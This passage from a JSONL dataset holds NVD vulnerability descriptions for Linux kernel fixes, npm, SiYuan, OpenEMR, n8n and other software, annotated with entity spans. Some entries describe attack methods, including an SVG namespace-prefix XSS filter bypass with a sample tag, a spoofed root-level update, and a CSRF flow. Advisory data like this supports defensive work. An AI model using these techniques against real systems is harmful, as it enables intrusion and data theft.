0000000080050033\nCR2: 000000010beb47f4 CR3: 0000000119ac5000 CR4: 0000000000750ef0\nPKRU: 55555554\nCall Trace:\n<TASK>\nfilemap_get_folios_tag+0x87/0x2a0\n__filemap_fdatawait_range+0x5f/0xd0\n? srso_alias_return_thunk+0x5/0xfbef5\n? __schedule+0x3e7/0x10c0\n? srso_alias_return_thunk+0x5/0xfbef5\n? srso_alias_return_thunk+0x5/0xfbef5\n? srso_alias_return_thunk+0x5/0xfbef5\n? preempt_count_sub+0x5f/0x80\n? srso_alias_return_thunk+0x5/0xfbef5\n? cap_safe_nice+0x37/0x70\n? srso_alias_return_thunk+0x5/0xfbef5\n? preempt_count_sub+0x5f/0x80\n? srso_alias_return_thunk+0x5/0xfbef5\nfilemap_fdatawait_range_keep_errors+0x12/0x40\next4_fc_commit+0x697/0x8b0\n? ext4_file_write_iter+0x64b/0x950\n? srso_alias_return_thunk+0x5/0xfbef5\n? preempt_count_sub+0x5f/0x80\n? srso_alias_return_thunk+0x5/0xfbef5\n? vfs_write+0x356/0x480\n? srso_alias_return_thunk+0x5/0xfbef5\n? preempt_count_sub+0x5f/0x80\next4_sync_file+0xf7/0x370\ndo_fsync+0x3b/0x80\n? syscall_trace_enter+0x108/0x1d0\n__x64_sys_fdatasync+0x16/0x20\ndo_syscall_64+0x62/0x2c0\nentry_SYSCALL_64_after_hwframe+0x76/0x7e\n...\n```\n\nFix this by initializing the jbd2_inode first.\nUse smp_wmb() and WRITE_ONCE() to publish ei->jinode after\ninitialization. Readers use READ_ONCE() to fetch the pointer.", "spans": {"FILEPATH: /01/2014": [[815, 823]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[796, 801]], "SYSTEM: QEMU": [[746, 750]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31450"}}
{"text": "save-server (npm package) before version 1.05 is affected by a CSRF vulnerability, as there is no CSRF mitigation (Tokens etc.). The fix introduced in version version 1.05 unintentionally breaks uploading so version v1.0.7 is the fixed version. This is patched by implementing Double submit. The CSRF attack would require you to navigate to a malicious site while you have an active session with Save-Server (Session key stored in cookies). The malicious user would then be able to perform some actions, including uploading/deleting files and adding redirects. If you are logged in as root, this attack is significantly more severe. They can in addition create, delete and update users. If they updated the password of a user, that user's files would then be available. If the root password is updated, all files would be visible if they logged in with the new password. Note that due to the same origin policy malicious actors cannot view the gallery or the response of any of the methods, nor be sure they succeeded. This issue has been patched in version 1.0.7.", "spans": {"ORGANIZATION: npm": [[13, 16]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15135"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: fix memory leak in smb3_fs_context_parse_param error path\n\nAdd proper cleanup of ctx->source and fc->source to the\ncifs_parse_mount_err error handler. This ensures that memory allocated\nfor the source strings is correctly freed on all error paths, matching\nthe cleanup already performed in the success path by\nsmb3_cleanup_fs_context_contents().\nPointers are also set to NULL after freeing to prevent potential\ndouble-free issues.\n\nThis change fixes a memory leak originally detected by syzbot. The\nleak occurred when processing Opt_source mount options if an error\nhappened after ctx->source and fc->source were successfully\nallocated but before the function completed.\n\nThe specific leak sequence was:\n1. ctx->source = smb3_fs_context_fullpath(ctx, '/') allocates memory\n2. fc->source = kstrdup(ctx->source, GFP_KERNEL) allocates more memory\n3. A subsequent error jumps to cifs_parse_mount_err\n4. The old error handler freed passwords but not the source strings,\ncausing the memory to leak.\n\nThis issue was not addressed by commit e8c73eb7db0a (\"cifs: client:\nfix memory leak in smb3_fs_context_parse_param\"), which only fixed\nleaks from repeated fsconfig() calls but not this error path.\n\nPatch updated with minor change suggested by kernel test robot", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[79, 90], [527, 538], [1141, 1152]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68219"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ethernet: ti: Fix return type of netcp_ndo_start_xmit()\n\nWith clang's kernel control flow integrity (kCFI, CONFIG_CFI_CLANG),\nindirect call targets are validated against the expected function\npointer prototype to make sure the call target is valid to help mitigate\nROP attacks. If they are not identical, there is a failure at run time,\nwhich manifests as either a kernel panic or thread getting killed. A\nproposed warning in clang aims to catch these at compile time, which\nreveals:\n\n  drivers/net/ethernet/ti/netcp_core.c:1944:21: error: incompatible function pointer types initializing 'netdev_tx_t (*)(struct sk_buff *, struct net_device *)' (aka 'enum netdev_tx (*)(struct sk_buff *, struct net_device *)') with an expression of type 'int (struct sk_buff *, struct net_device *)' [-Werror,-Wincompatible-function-pointer-types-strict]\n          .ndo_start_xmit         = netcp_ndo_start_xmit,\n                                    ^~~~~~~~~~~~~~~~~~~~\n  1 error generated.\n\n->ndo_start_xmit() in 'struct net_device_ops' expects a return type of\n'netdev_tx_t', not 'int'. Adjust the return type of\nnetcp_ndo_start_xmit() to match the prototype's to resolve the warning\nand CFI failure.", "spans": {"FILEPATH: /net/ethernet/ti/netcp_core.c": [[568, 597]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50486"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-mq: fix possible memleak when register 'hctx' failed\n\nThere's issue as follows when do fault injection test:\nunreferenced object 0xffff888132a9f400 (size 512):\n  comm \"insmod\", pid 308021, jiffies 4324277909 (age 509.733s)\n  hex dump (first 32 bytes):\n    00 00 00 00 00 00 00 00 08 f4 a9 32 81 88 ff ff  ...........2....\n    08 f4 a9 32 81 88 ff ff 00 00 00 00 00 00 00 00  ...2............\n  backtrace:\n    [<00000000e8952bb4>] kmalloc_node_trace+0x22/0xa0\n    [<00000000f9980e0f>] blk_mq_alloc_and_init_hctx+0x3f1/0x7e0\n    [<000000002e719efa>] blk_mq_realloc_hw_ctxs+0x1e6/0x230\n    [<000000004f1fda40>] blk_mq_init_allocated_queue+0x27e/0x910\n    [<00000000287123ec>] __blk_mq_alloc_disk+0x67/0xf0\n    [<00000000a2a34657>] 0xffffffffa2ad310f\n    [<00000000b173f718>] 0xffffffffa2af824a\n    [<0000000095a1dabb>] do_one_initcall+0x87/0x2a0\n    [<00000000f32fdf93>] do_init_module+0xdf/0x320\n    [<00000000cbe8541e>] load_module+0x3006/0x3390\n    [<0000000069ed1bdb>] __do_sys_finit_module+0x113/0x1b0\n    [<00000000a1a29ae8>] do_syscall_64+0x35/0x80\n    [<000000009cd878b0>] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nFault injection context as follows:\n kobject_add\n blk_mq_register_hctx\n blk_mq_sysfs_register\n blk_register_queue\n device_add_disk\n null_add_dev.part.0 [null_blk]\n\nAs 'blk_mq_register_hctx' may already add some objects when failed halfway,\nbut there isn't do fallback, caller don't know which objects add failed.\nTo solve above issue just do fallback when add objects failed halfway in\n'blk_mq_register_hctx'.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50434"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bgmac: Fix a BUG triggered by wrong bytes_compl\n\nOn one of our machines we got:\n\nkernel BUG at lib/dynamic_queue_limits.c:27!\nInternal error: Oops - BUG: 0 [#1] PREEMPT SMP ARM\nCPU: 0 PID: 1166 Comm: irq/41-bgmac Tainted: G        W  O    4.14.275-rt132 #1\nHardware name: BRCM XGS iProc\ntask: ee3415c0 task.stack: ee32a000\nPC is at dql_completed+0x168/0x178\nLR is at bgmac_poll+0x18c/0x6d8\npc : [<c03b9430>]    lr : [<c04b5a18>]    psr: 800a0313\nsp : ee32be14  ip : 000005ea  fp : 00000bd4\nr10: ee558500  r9 : c0116298  r8 : 00000002\nr7 : 00000000  r6 : ef128810  r5 : 01993267  r4 : 01993851\nr3 : ee558000  r2 : 000070e1  r1 : 00000bd4  r0 : ee52c180\nFlags: Nzcv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment none\nControl: 12c5387d  Table: 8e88c04a  DAC: 00000051\nProcess irq/41-bgmac (pid: 1166, stack limit = 0xee32a210)\nStack: (0xee32be14 to 0xee32c000)\nbe00:                                              ee558520 ee52c100 ef128810\nbe20: 00000000 00000002 c0116298 c04b5a18 00000000 c0a0c8c4 c0951780 00000040\nbe40: c0701780 ee558500 ee55d520 ef05b340 ef6f9780 ee558520 00000001 00000040\nbe60: ffffe000 c0a56878 ef6fa040 c0952040 0000012c c0528744 ef6f97b0 fffcfb6a\nbe80: c0a04104 2eda8000 c0a0c4ec c0a0d368 ee32bf44 c0153534 ee32be98 ee32be98\nbea0: ee32bea0 ee32bea0 ee32bea8 ee32bea8 00000000 c01462e4 ffffe000 ef6f22a8\nbec0: ffffe000 00000008 ee32bee4 c0147430 ffffe000 c094a2a8 00000003 ffffe000\nbee0: c0a54528 00208040 0000000c c0a0c8c4 c0a65980 c0124d3c 00000008 ee558520\nbf00: c094a23c c0a02080 00000000 c07a9910 ef136970 ef136970 ee30a440 ef136900\nbf20: ee30a440 00000001 ef136900 ee30a440 c016d990 00000000 c0108db0 c012500c\nbf40: ef136900 c016da14 ee30a464 ffffe000 00000001 c016dd14 00000000 c016db28\nbf60: ffffe000 ee21a080 ee30a400 00000000 ee32a000 ee30a440 c016dbfc ee25fd70\nbf80: ee21a09c c013edcc ee32a000 ee30a400 c013ec7c 00000000 00000000 00000000\nbfa0: 00000000 00000000 00000000 c0108470 00000000 00000000 00000000 00000000\nbfc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000\nbfe0: 00000000 00000000 00000000 00000000 00000013 00000000 00000000 00000000\n[<c03b9430>] (dql_completed) from [<c04b5a18>] (bgmac_poll+0x18c/0x6d8)\n[<c04b5a18>] (bgmac_poll) from [<c0528744>] (net_rx_action+0x1c4/0x494)\n[<c0528744>] (net_rx_action) from [<c0124d3c>] (do_current_softirqs+0x1ec/0x43c)\n[<c0124d3c>] (do_current_softirqs) from [<c012500c>] (__local_bh_enable+0x80/0x98)\n[<c012500c>] (__local_bh_enable) from [<c016da14>] (irq_forced_thread_fn+0x84/0x98)\n[<c016da14>] (irq_forced_thread_fn) from [<c016dd14>] (irq_thread+0x118/0x1c0)\n[<c016dd14>] (irq_thread) from [<c013edcc>] (kthread+0x150/0x158)\n[<c013edcc>] (kthread) from [<c0108470>] (ret_from_fork+0x14/0x24)\nCode: a83f15e0 0200001a 0630a0e1 c3ffffea (f201f0e7)\n\nThe issue seems similar to commit 90b3b339364c (\"net: hisilicon: Fix a BUG\ntrigered by wrong bytes_compl\") and potentially introduced by commit\nb38c83dd0866 (\"bgmac: simplify tx ring index handling\").\n\nIf there is an RX interrupt between setting ring->end\nand netdev_sent_queue() we can hit the BUG_ON as bgmac_dma_tx_free()\ncan miscalculate the queue size while called from bgmac_poll().\n\nThe machine which triggered the BUG runs a v4.14 RT kernel - but the issue\nseems present in mainline too.", "spans": {"FILEPATH: dynamic_queue_limits.c": [[173, 195]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50062"}}
{"text": "SiYuan is a personal knowledge management system. From version 3.6.0 to before version 3.6.2, the SanitizeSVG function introduced in version 3.6.0 to fix XSS in the unauthenticated /api/icon/getDynamicIcon endpoint can be bypassed by using namespace-prefixed element names such as <x:script xmlns:x=\"http://www.w3.org/2000/svg\">. The Go HTML5 parser records the element's tag as \"x:script\" rather than \"script\", so the tag check passes it through. The SVG is served with Content-Type: image/svg+xml and no Content Security Policy; when a browser opens the response directly, its XML parser resolves the prefix to the SVG namespace and executes the embedded script. This issue has been patched in version 3.6.2.", "spans": {"URL: http://www.w3.org/2000/svg": [[300, 326]], "FILEPATH: /api/icon/getDynamicIcon": [[181, 205]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34605"}}
{"text": "CommandKit is the discord.js meta-framework for building Discord bots. In versions 1.2.0-rc.1 through 1.2.0-rc.11, a logic flaw exists in the message command handler that affects how the commandName property is exposed to both middleware functions and command execution contexts when handling command aliases. When a message command is invoked using an alias, the ctx.commandName value reflects the alias rather than the canonical command name. This occurs in both middleware functions and within the command's own run function. Although not explicitly documented, CommandKit's examples and guidance around middleware usage implicitly convey that ctx.commandName represents the canonical command identifier. Middleware examples in the documentation consistently use ctx.commandName to reference the command being executed. Developers who assume ctx.commandName is canonical may introduce unintended behavior when relying on it for logic such as permission checks, rate limiting, or audit logging. This could allow unauthorized command execution or inaccurate access control decisions. Slash commands and context menu commands are not affected. This issue has been patched in version 1.2.0-rc.12, where ctx.commandName now consistently returns the actual canonical command name regardless of the alias used to invoke it.", "spans": {"FILEPATH: discord.js": [[18, 28]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-62378"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: tcpm: fix double-free issue in tcpm_port_unregister_pd()\n\nWhen unregister pd capabilitie in tcpm, KASAN will capture below double\n-free issue. The root cause is the same capabilitiy will be kfreed twice,\nthe first time is kfreed by pd_capabilities_release() and the second time\nis explicitly kfreed by tcpm_port_unregister_pd().\n\n[    3.988059] BUG: KASAN: double-free in tcpm_port_unregister_pd+0x1a4/0x3dc\n[    3.995001] Free of addr ffff0008164d3000 by task kworker/u16:0/10\n[    4.001206]\n[    4.002712] CPU: 2 PID: 10 Comm: kworker/u16:0 Not tainted 6.8.0-rc5-next-20240220-05616-g52728c567a55 #53\n[    4.012402] Hardware name: Freescale i.MX8QXP MEK (DT)\n[    4.017569] Workqueue: events_unbound deferred_probe_work_func\n[    4.023456] Call trace:\n[    4.025920]  dump_backtrace+0x94/0xec\n[    4.029629]  show_stack+0x18/0x24\n[    4.032974]  dump_stack_lvl+0x78/0x90\n[    4.036675]  print_report+0xfc/0x5c0\n[    4.040289]  kasan_report_invalid_free+0xa0/0xc0\n[    4.044937]  __kasan_slab_free+0x124/0x154\n[    4.049072]  kfree+0xb4/0x1e8\n[    4.052069]  tcpm_port_unregister_pd+0x1a4/0x3dc\n[    4.056725]  tcpm_register_port+0x1dd0/0x2558\n[    4.061121]  tcpci_register_port+0x420/0x71c\n[    4.065430]  tcpci_probe+0x118/0x2e0\n\nTo fix the issue, this will remove kree() from tcpm_port_unregister_pd().", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26932"}}
{"text": "A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) Software could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack on an affected device. The vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by providing malicious data to a specific field within the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. Cisco ISE Software releases 2.7.0 and later contains the fix for this vulnerability.", "spans": {"ORGANIZATION: Cisco": [[57, 62], [606, 611]], "VULNERABILITY: cross-site scripting": [[169, 189]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3149"}}
{"text": "anuko timetracker is an open source time tracking system. Boolean-based blind SQL injection vulnerability existed in Time Tracker invoices.php in versions prior to 1.22.11.5781. This was happening because of a coding error after validating parameters in POST requests. There was no check for errors before adjusting invoice sorting order. Because of this, it was possible to craft a POST request with malicious SQL for Time Tracker database. This issue has been fixed in version 1.22.11.5781. Users are advised to upgrade. Users unable to upgrade may insert an additional check for errors in a condition before calling `ttGroupHelper::getActiveInvoices()` in invoices.php.", "spans": {"FILEPATH: invoices.php": [[130, 142], [659, 671]], "VULNERABILITY: SQL injection": [[78, 91]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-32308"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrust_binder: fix race condition on death_list\n\nRust Binder contains the following unsafe operation:\n\n\t// SAFETY: A `NodeDeath` is never inserted into the death list\n\t// of any node other than its owner, so it is either in this\n\t// death list or in no death list.\n\tunsafe { node_inner.death_list.remove(self) };\n\nThis operation is unsafe because when touching the prev/next pointers of\na list element, we have to ensure that no other thread is also touching\nthem in parallel. If the node is present in the list that `remove` is\ncalled on, then that is fine because we have exclusive access to that\nlist. If the node is not in any list, then it's also ok. But if it's\npresent in a different list that may be accessed in parallel, then that\nmay be a data race on the prev/next pointers.\n\nAnd unfortunately that is exactly what is happening here. In\nNode::release, we:\n\n 1. Take the lock.\n 2. Move all items to a local list on the stack.\n 3. Drop the lock.\n 4. Iterate the local list on the stack.\n\nCombined with threads using the unsafe remove method on the original\nlist, this leads to memory corruption of the prev/next pointers. This\nleads to crashes like this one:\n\n\tUnable to handle kernel paging request at virtual address 000bb9841bcac70e\n\tMem abort info:\n\t  ESR = 0x0000000096000044\n\t  EC = 0x25: DABT (current EL), IL = 32 bits\n\t  SET = 0, FnV = 0\n\t  EA = 0, S1PTW = 0\n\t  FSC = 0x04: level 0 translation fault\n\tData abort info:\n\t  ISV = 0, ISS = 0x00000044, ISS2 = 0x00000000\n\t  CM = 0, WnR = 1, TnD = 0, TagAccess = 0\n\t  GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n\t[000bb9841bcac70e] address between user and kernel address ranges\n\tInternal error: Oops: 0000000096000044 [#1] PREEMPT SMP\n\tgoogle-cdd 538c004.gcdd: context saved(CPU:1)\n\titem - log_kevents is disabled\n\tModules linked in: ... rust_binder\n\tCPU: 1 UID: 0 PID: 2092 Comm: kworker/1:178 Tainted: G S      W  OE      6.12.52-android16-5-g98debd5df505-4k #1 f94a6367396c5488d635708e43ee0c888d230b0b\n\tTainted: [S]=CPU_OUT_OF_SPEC, [W]=WARN, [O]=OOT_MODULE, [E]=UNSIGNED_MODULE\n\tHardware name: MUSTANG PVT 1.0 based on LGA (DT)\n\tWorkqueue: events _RNvXs6_NtCsdfZWD8DztAw_6kernel9workqueueINtNtNtB7_4sync3arc3ArcNtNtCs8QPsHWIn21X_16rust_binder_main7process7ProcessEINtB5_15WorkItemPointerKy0_E3runB13_ [rust_binder]\n\tpstate: 23400005 (nzCv daif +PAN -UAO +TCO +DIT -SSBS BTYPE=--)\n\tpc : _RNvXs3_NtCs8QPsHWIn21X_16rust_binder_main7processNtB5_7ProcessNtNtCsdfZWD8DztAw_6kernel9workqueue8WorkItem3run+0x450/0x11f8 [rust_binder]\n\tlr : _RNvXs3_NtCs8QPsHWIn21X_16rust_binder_main7processNtB5_7ProcessNtNtCsdfZWD8DztAw_6kernel9workqueue8WorkItem3run+0x464/0x11f8 [rust_binder]\n\tsp : ffffffc09b433ac0\n\tx29: ffffffc09b433d30 x28: ffffff8821690000 x27: ffffffd40cbaa448\n\tx26: ffffff8821690000 x25: 00000000ffffffff x24: ffffff88d0376578\n\tx23: 0000000000000001 x22: ffffffc09b433c78 x21: ffffff88e8f9bf40\n\tx20: ffffff88e8f9bf40 x19: ffffff882692b000 x18: ffffffd40f10bf00\n\tx17: 00000000c006287d x16: 00000000c006287d x15: 00000000000003b0\n\tx14: 0000000000000100 x13: 000000201cb79ae0 x12: fffffffffffffff0\n\tx11: 0000000000000000 x10: 0000000000000001 x9 : 0000000000000000\n\tx8 : b80bb9841bcac706 x7 : 0000000000000001 x6 : fffffffebee63f30\n\tx5 : 0000000000000000 x4 : 0000000000000001 x3 : 0000000000000000\n\tx2 : 0000000000004c31 x1 : ffffff88216900c0 x0 : ffffff88e8f9bf00\n\tCall trace:\n\t _RNvXs3_NtCs8QPsHWIn21X_16rust_binder_main7processNtB5_7ProcessNtNtCsdfZWD8DztAw_6kernel9workqueue8WorkItem3run+0x450/0x11f8 [rust_binder bbc172b53665bbc815363b22e97e3f7e3fe971fc]\n\t process_scheduled_works+0x1c4/0x45c\n\t worker_thread+0x32c/0x3e8\n\t kthread+0x11c/0x1c8\n\t ret_from_fork+0x10/0x20\n\tCode: 94218d85 b4000155 a94026a8 d10102a0 (f9000509)\n\t---[ end trace 0000000000000000 ]---\n\nThus, modify Node::release to pop items directly off the original list.", "spans": {"HASH: f94a6367396c5488d635708e43ee0c888d230b0b": [[1993, 2033]], "HASH: bbc172b53665bbc815363b22e97e3f7e3fe971fc": [[3549, 3589]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory corruption": [[1153, 1170]], "VULNERABILITY: race condition": [[86, 100]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68260"}}
{"text": "A flaw was found in rhacm versions before 2.0.5 and before 2.1.0. Two internal service APIs were incorrectly provisioned using a test certificate from the source repository. This would result in all installations using the same certificates. If an attacker could observe network traffic internal to a cluster, they could use the private key to decode API requests that should be protected by TLS sessions, potentially obtaining information they would not otherwise be able to. These certificates are not used for service authentication, so no opportunity for impersonation or active MITM attacks were made possible.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25688"}}
{"text": "An issue was discovered in Luna Simo PPR1.180610.011/202001031830. It mishandles software updates such that local third-party apps can provide a spoofed software update file that contains an arbitrary shell script and arbitrary ARM binary, where both will be executed as the root user with an SELinux domain named osi. To exploit this vulnerability, a local third-party app needs to have write access to external storage to write the spoofed update at the expected path. The vulnerable system binary (i.e., /system/bin/osi_bin) does not perform any authentication of the update file beyond ensuring that it is encrypted with an AES key (that is hard-coded in the vulnerable system binary). Processes executing with the osi SELinux domain can programmatically perform the following actions: install apps, grant runtime permissions to apps (including permissions with protection levels of dangerous and development), access extensive Personally Identifiable Information (PII) using the programmatically grant permissions, uninstall apps, set the default launcher app to a malicious launcher app that spoofs other apps, set a network proxy to intercept network traffic, unload kernel modules, set the default keyboard to a keyboard that has keylogging functionality, examine notification contents, send text messages, and more. The spoofed update can optionally contain an arbitrary ARM binary that will be locally stored in internal storage and executed at system startup to achieve persistent code execution as the root user with the osi SELinux domain. This ARM binary will continue to execute at startup even if the app that provided the spoofed update is uninstalled.", "spans": {"FILEPATH: /system/bin/osi_bin": [[507, 526]], "VULNERABILITY: code execution": [[1492, 1506]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41848"}}
{"text": "lxc-user-nic in lxc through 5.0.1 is installed setuid root, and may allow local users to infer whether any file exists, even within a protected directory tree, because \"Failed to open\" often indicates that a file does not exist, whereas \"does not refer to a network namespace path\" often indicates that a file exists. NOTE: this is different from CVE-2018-6556 because the CVE-2018-6556 fix design was based on the premise that \"we will report back to the user that the open() failed but the user has no way of knowing why it failed\"; however, in many realistic cases, there are no plausible reasons for failing except that the file does not exist.", "spans": {"CVE_ID: CVE-2018-6556": [[347, 360], [373, 386]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-47952"}}
{"text": "LoRaMac-node is a reference implementation and documentation of a LoRa network node. Versions of LoRaMac-node prior to 4.7.0 are vulnerable to a buffer overflow. Improper size validation of the incoming radio frames can lead to an 65280-byte out-of-bounds write. The function `ProcessRadioRxDone` implicitly expects incoming radio frames to have at least a payload of one byte or more. An empty payload leads to a 1-byte out-of-bounds read of user controlled content when the payload buffer is reused. This allows an attacker to craft a FRAME_TYPE_PROPRIETARY frame with size -1 which results in an 65280-byte out-of-bounds memcopy likely with partially controlled attacker data. Corrupting a large part if the data section is likely to cause a DoS. If the large out-of-bounds write does not immediately crash the attacker may gain control over the execution due to now controlling large parts of the data section. Users are advised to upgrade either by updating their package or by manually applying the patch commit `e851b079`.", "spans": {"VULNERABILITY: out-of-bounds write": [[242, 261], [763, 782]], "VULNERABILITY: out-of-bounds read": [[421, 439]], "VULNERABILITY: buffer overflow": [[145, 160]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39274"}}
{"text": "This vulnerability allows local attackers to disclose sensitive information on affected installations of Parallels Desktop 15.1.4. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the OEMNet component. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute code in the context of the hypervisor. Was ZDI-CAN-11132.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17394"}}
{"text": "n8n is an open source workflow automation platform. Prior to version 2.5.0, when the Source Control feature is configured to use SSH, the SSH command used for git operations explicitly disabled host key verification. A network attacker positioned between the n8n instance and the remote Git server could intercept the connection and present a fraudulent host key, potentially injecting malicious content into workflows or intercepting repository data. This issue only affects instances where the Source Control feature has been explicitly enabled and configured to use SSH (non-default). The issue has been fixed in n8n version 2.5.0. Users should upgrade to this version or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Disable the Source Control feature if it is not actively required, and/or restrict network access to ensure the n8n instance communicates with the Git server only over trusted, controlled network paths. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33724"}}
{"text": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0, the REST API route table in `apis/routes/_rest_routes_standard.inc.php` does not call `RestConfig::request_authorization_check()` for the document and insurance routes. Other patient routes in the same file (e.g. encounters, patients/med) call it with the appropriate ACL. As a result, any valid API bearer token can access or modify every patient's documents and insurance data, regardless of the token’s OpenEMR ACLs—effectively exposing all document and insurance PHI to any authenticated API client. Version 8.0.0 patches the issue.", "spans": {"FILEPATH: /routes/_rest_routes_standard.inc.php": [[162, 199]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25164"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/mem: Fix shutdown order\n\nIra reports that removing cxl_mock_mem causes a crash with the following\ntrace:\n\n BUG: kernel NULL pointer dereference, address: 0000000000000044\n [..]\n RIP: 0010:cxl_region_decode_reset+0x7f/0x180 [cxl_core]\n [..]\n Call Trace:\n  <TASK>\n  cxl_region_detach+0xe8/0x210 [cxl_core]\n  cxl_decoder_kill_region+0x27/0x40 [cxl_core]\n  cxld_unregister+0x29/0x40 [cxl_core]\n  devres_release_all+0xb8/0x110\n  device_unbind_cleanup+0xe/0x70\n  device_release_driver_internal+0x1d2/0x210\n  bus_remove_device+0xd7/0x150\n  device_del+0x155/0x3e0\n  device_unregister+0x13/0x60\n  devm_release_action+0x4d/0x90\n  ? __pfx_unregister_port+0x10/0x10 [cxl_core]\n  delete_endpoint+0x121/0x130 [cxl_core]\n  devres_release_all+0xb8/0x110\n  device_unbind_cleanup+0xe/0x70\n  device_release_driver_internal+0x1d2/0x210\n  bus_remove_device+0xd7/0x150\n  device_del+0x155/0x3e0\n  ? lock_release+0x142/0x290\n  cdev_device_del+0x15/0x50\n  cxl_memdev_unregister+0x54/0x70 [cxl_core]\n\nThis crash is due to the clearing out the cxl_memdev's driver context\n(@cxlds) before the subsystem is done with it. This is ultimately due to\nthe region(s), that this memdev is a member, being torn down and expecting\nto be able to de-reference @cxlds, like here:\n\nstatic int cxl_region_decode_reset(struct cxl_region *cxlr, int count)\n...\n                if (cxlds->rcd)\n                        goto endpoint_reset;\n...\n\nFix it by keeping the driver context valid until memdev-device\nunregistration, and subsequently the entire stack of related\ndependencies, unwinds.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[192, 216]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52849"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: set_page_extent_mapped after read_folio in btrfs_cont_expand\n\nWhile trying to get the subpage blocksize tests running, I hit the\nfollowing panic on generic/476\n\n  assertion failed: PagePrivate(page) && page->private, in fs/btrfs/subpage.c:229\n  kernel BUG at fs/btrfs/subpage.c:229!\n  Internal error: Oops - BUG: 00000000f2000800 [#1] SMP\n  CPU: 1 PID: 1453 Comm: fsstress Not tainted 6.4.0-rc7+ #12\n  Hardware name: QEMU KVM Virtual Machine, BIOS edk2-20230301gitf80f052277c8-26.fc38 03/01/2023\n  pstate: 61400005 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)\n  pc : btrfs_subpage_assert+0xbc/0xf0\n  lr : btrfs_subpage_assert+0xbc/0xf0\n  Call trace:\n   btrfs_subpage_assert+0xbc/0xf0\n   btrfs_subpage_clear_checked+0x38/0xc0\n   btrfs_page_clear_checked+0x48/0x98\n   btrfs_truncate_block+0x5d0/0x6a8\n   btrfs_cont_expand+0x5c/0x528\n   btrfs_write_check.isra.0+0xf8/0x150\n   btrfs_buffered_write+0xb4/0x760\n   btrfs_do_write_iter+0x2f8/0x4b0\n   btrfs_file_write_iter+0x1c/0x30\n   do_iter_readv_writev+0xc8/0x158\n   do_iter_write+0x9c/0x210\n   vfs_iter_write+0x24/0x40\n   iter_file_splice_write+0x224/0x390\n   direct_splice_actor+0x38/0x68\n   splice_direct_to_actor+0x12c/0x260\n   do_splice_direct+0x90/0xe8\n   generic_copy_file_range+0x50/0x90\n   vfs_copy_file_range+0x29c/0x470\n   __arm64_sys_copy_file_range+0xcc/0x498\n   invoke_syscall.constprop.0+0x80/0xd8\n   do_el0_svc+0x6c/0x168\n   el0_svc+0x50/0x1b0\n   el0t_64_sync_handler+0x114/0x120\n   el0t_64_sync+0x194/0x198\n\nThis happens because during btrfs_cont_expand we'll get a page, set it\nas mapped, and if it's not Uptodate we'll read it.  However between the\nread and re-locking the page we could have called release_folio() on the\npage, but left the page in the file mapping.  release_folio() can clear\nthe page private, and thus further down we blow up when we go to modify\nthe subpage bits.\n\nFix this by putting the set_page_extent_mapped() after the read.  This\nis safe because read_folio() will call set_page_extent_mapped() before\nit does the read, and then if we clear page private but leave it on the\nmapping we're completely safe re-setting set_page_extent_mapped().  With\nthis patch I can now run generic/476 without panicing.", "spans": {"FILEPATH: /btrfs/subpage.c": [[298, 314], [337, 353]], "FILEPATH: /01/2023": [[563, 571]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[493, 497]], "SYSTEM: KVM": [[498, 501]]}, "info": 